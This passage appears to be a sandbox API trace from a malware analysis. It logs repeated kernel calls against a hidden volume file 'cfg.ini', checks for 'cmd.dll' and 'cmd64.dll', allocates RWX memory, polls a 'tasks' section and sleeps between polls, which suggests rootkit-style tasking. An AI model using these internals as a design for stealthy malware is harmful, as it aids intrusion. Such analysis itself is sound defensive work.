_Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.587] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.587] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8b60 [0125.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.587] KeLeaveCriticalRegion () [0125.587] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.587] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.587] KeEnterCriticalRegion () [0125.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.587] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.587] KeLeaveCriticalRegion () [0125.587] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.587] KeEnterCriticalRegion () [0125.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.587] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.587] IdePortDispatch () returned 0x103 [0125.587] KeWaitForMutexObject () returned 0x0 [0125.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.587] KeLeaveCriticalRegion () [0125.587] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.587] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.587] KeEnterCriticalRegion () [0125.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.587] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c81000 [0125.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.588] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.588] IdePortDispatch () returned 0x103 [0125.588] KeWaitForMutexObject () returned 0x0 [0125.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.588] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.588] IdePortDispatch () returned 0x103 [0125.588] KeWaitForMutexObject () returned 0x0 [0125.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.588] KeLeaveCriticalRegion () [0125.588] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.589] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.589] KeEnterCriticalRegion () [0125.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.589] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.589] KeLeaveCriticalRegion () [0125.589] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.589] KeEnterCriticalRegion () [0125.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.589] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.589] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.589] KeLeaveCriticalRegion () [0125.589] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.589] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.589] KeEnterCriticalRegion () [0125.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.589] ExFreePoolWithTag (P=0xfffffa8003bf8b60, Tag=0x0) [0125.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.589] KeLeaveCriticalRegion () [0125.589] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.589] ReleaseMutex (hMutex=0xf0) returned 1 [0125.589] Sleep (dwMilliseconds=0x927c0) [0125.599] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.599] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.604] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.604] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.604] KeEnterCriticalRegion () [0125.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.604] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.604] IdePortDispatch () returned 0x103 [0125.604] KeWaitForMutexObject () returned 0x0 [0125.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.604] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.604] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.604] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.604] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.604] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8bc0 [0125.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.604] KeLeaveCriticalRegion () [0125.604] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.604] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.604] KeEnterCriticalRegion () [0125.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.604] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.604] KeLeaveCriticalRegion () [0125.604] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.604] KeEnterCriticalRegion () [0125.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.605] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.605] IdePortDispatch () returned 0x103 [0125.605] KeWaitForMutexObject () returned 0x0 [0125.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.605] KeLeaveCriticalRegion () [0125.605] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.605] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.605] KeEnterCriticalRegion () [0125.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.605] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb3000 [0125.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.605] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.605] IdePortDispatch () returned 0x103 [0125.605] KeWaitForMutexObject () returned 0x0 [0125.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.605] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.605] IdePortDispatch () returned 0x103 [0125.606] KeWaitForMutexObject () returned 0x0 [0125.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.606] KeLeaveCriticalRegion () [0125.606] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.606] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.606] KeEnterCriticalRegion () [0125.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.606] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.606] KeLeaveCriticalRegion () [0125.606] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.606] KeEnterCriticalRegion () [0125.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.606] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.606] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9c30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.606] KeLeaveCriticalRegion () [0125.606] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.606] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.606] KeEnterCriticalRegion () [0125.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.606] ExFreePoolWithTag (P=0xfffffa8003bf8bc0, Tag=0x0) [0125.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.606] KeLeaveCriticalRegion () [0125.606] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.606] ReleaseMutex (hMutex=0xf0) returned 1 [0125.607] Sleep (dwMilliseconds=0x927c0) [0125.620] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.620] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.620] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.620] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.620] KeEnterCriticalRegion () [0125.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.621] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.621] IdePortDispatch () returned 0x103 [0125.621] KeWaitForMutexObject () returned 0x0 [0125.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.621] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.621] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.621] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.621] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.621] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8e70 [0125.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.621] KeLeaveCriticalRegion () [0125.621] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.621] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.621] KeEnterCriticalRegion () [0125.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.621] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.621] KeLeaveCriticalRegion () [0125.621] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.621] KeEnterCriticalRegion () [0125.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.621] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.621] IdePortDispatch () returned 0x103 [0125.621] KeWaitForMutexObject () returned 0x0 [0125.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.621] KeLeaveCriticalRegion () [0125.622] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.622] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.622] KeEnterCriticalRegion () [0125.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.622] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb8000 [0125.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.622] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.622] IdePortDispatch () returned 0x103 [0125.622] KeWaitForMutexObject () returned 0x0 [0125.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.622] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.622] IdePortDispatch () returned 0x103 [0125.622] KeWaitForMutexObject () returned 0x0 [0125.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.622] KeLeaveCriticalRegion () [0125.622] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.623] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.623] KeEnterCriticalRegion () [0125.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.623] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.623] KeLeaveCriticalRegion () [0125.623] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.623] KeEnterCriticalRegion () [0125.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.623] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.623] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9cd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.623] KeLeaveCriticalRegion () [0125.623] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.623] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.623] KeEnterCriticalRegion () [0125.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.623] ExFreePoolWithTag (P=0xfffffa8003bf8e70, Tag=0x0) [0125.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.623] KeLeaveCriticalRegion () [0125.623] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.623] ReleaseMutex (hMutex=0xf0) returned 1 [0125.623] Sleep (dwMilliseconds=0x927c0) [0125.639] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.639] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.639] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.639] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.639] KeEnterCriticalRegion () [0125.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.639] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.639] IdePortDispatch () returned 0x103 [0125.639] KeWaitForMutexObject () returned 0x0 [0125.639] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.639] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.639] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.639] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.639] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.639] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9c10 [0125.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.639] KeLeaveCriticalRegion () [0125.639] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.639] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.639] KeEnterCriticalRegion () [0125.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.640] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.640] KeLeaveCriticalRegion () [0125.640] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.640] KeEnterCriticalRegion () [0125.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.640] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.640] IdePortDispatch () returned 0x103 [0125.640] KeWaitForMutexObject () returned 0x0 [0125.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.640] KeLeaveCriticalRegion () [0125.640] IofCompleteRequest 